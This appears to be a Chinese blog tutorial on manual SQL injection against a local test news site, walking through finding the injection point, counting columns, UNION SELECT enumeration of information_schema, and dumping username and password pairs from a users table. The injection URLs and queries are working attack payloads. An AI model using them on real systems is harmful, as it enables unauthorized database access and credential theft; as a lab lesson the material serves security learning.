漏洞原理SQL注入 手工注入漏洞

漏洞原理SQL注入 手工注入漏洞

SQL 注入的前置知识

  • information_schema库
  • information_schema 是mysql5.0以上版本中自带的一个数据库。
  • tables表
  • information_schema库中的tables表中table_schema列(存储数据库名)和table_name列(存储表名)
  • columns表
  • information_schema库中的columns表中table_schema列(存储数据库名)、table_name列(存储表名)、column_name列(存储列名)。

1 找到SQL 语句的注入点

1.1 方式一

http://127.0.0.1/news/show.php?id=46 '

1.2 方式二

http://127.0.0.1/news/show.php?id=46 and 1=1

http://127.0.0.1/news/show.php?id=46 and 1=2

1.3 方式三

http://127.0.0.1/news/show.php?id=46 -1

总结一 更据注入点判断该漏洞是否存在Mysql注入漏洞 如果存在可以往下面走 如果不存在 则不存在MySql漏洞 没有必要往下走。

2 根据注入点 来判断是否有Sql注入漏洞 来猜测数据库的字段数量。

http://127.0.0.1/news/show.php?id=50 order by 15 # 正常显示

http://127.0.0.1/news/show.php?id=50 order by 16 # 报错,告诉我们没有第16个字段

总结二 利用SQL 语句的函数判断 SQL 语句的字段数量

3 更据字段的数量 写出对应的SQL语句

http://127.0.0.1/news/show.php?id=-46 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

总结三 更据漏洞的字段数量 15 判断出来存在 漏洞的字段是 3 11 在这两个字段里面写下SQL Sql函数

4 利用显示字段获取系统信息

5 获取news数据库中所有的表名

  • select hex(group_concat(table_name)) from information_schema.tables
  • where table_schema='news';
  • select * from news_article where id=-46 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news';
  • http://127.0.0.1/news/show.php
  • ?id=-46 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news'

news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news_users

6获取news数据库的news_users表中的所有字段名

select * from news_article where id=-46 union
select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema='news' and table_name='news_users';

7 获取指定字段的数据

select * from news_article where id=-46 union
select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from news.news_users;

http://127.0.0.1/news/show.php
?id=-46 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from news.news_users;

相关推荐
Linux运维技术栈3 分钟前
运维安全: SSH 公钥认证算法加固
linux·运维·安全
模型时代20 分钟前
Infosecurity Europe欧洲信息安全展将推出网络安全初创企业专区
安全·web安全·区块链
不剪发的Tony老师26 分钟前
Chartbrew:一个开源的数据可视化平台
sql·数据分析·可视化
加密狗复制模拟36 分钟前
破解加密狗时间限制介绍
安全·软件工程·个人开发
兆龙电子单片机设计37 分钟前
【STM32项目开源】STM32单片机厂房环境安全监测
stm32·单片机·安全·开源·毕业设计·电子信息
木子啊38 分钟前
优雅接管异常:打造安全的用户体验
安全·ux
智驱力人工智能43 分钟前
景区节假日车流实时预警平台 从拥堵治理到体验升级的工程实践 车流量检测 城市路口车流量信号优化方案 学校周边车流量安全分析方案
人工智能·opencv·算法·安全·yolo·边缘计算
B2_Proxy1 小时前
如何使用代理服务解决“您的 ASN 被阻止”错误:全面策略分析
网络·爬虫·网络协议·tcp/ip·安全·代理模式
乾元1 小时前
下一代检测:基于自编码器(Autoencoder)的异常流量检测
运维·网络·人工智能·深度学习·安全·安全架构
寻道码路1 小时前
【MCP探索实践】Google GenAI Toolbox:Google开源的企业级AI数据库中间件、5分钟搞定LLM-SQL安全互联
数据库·人工智能·sql·开源·aigc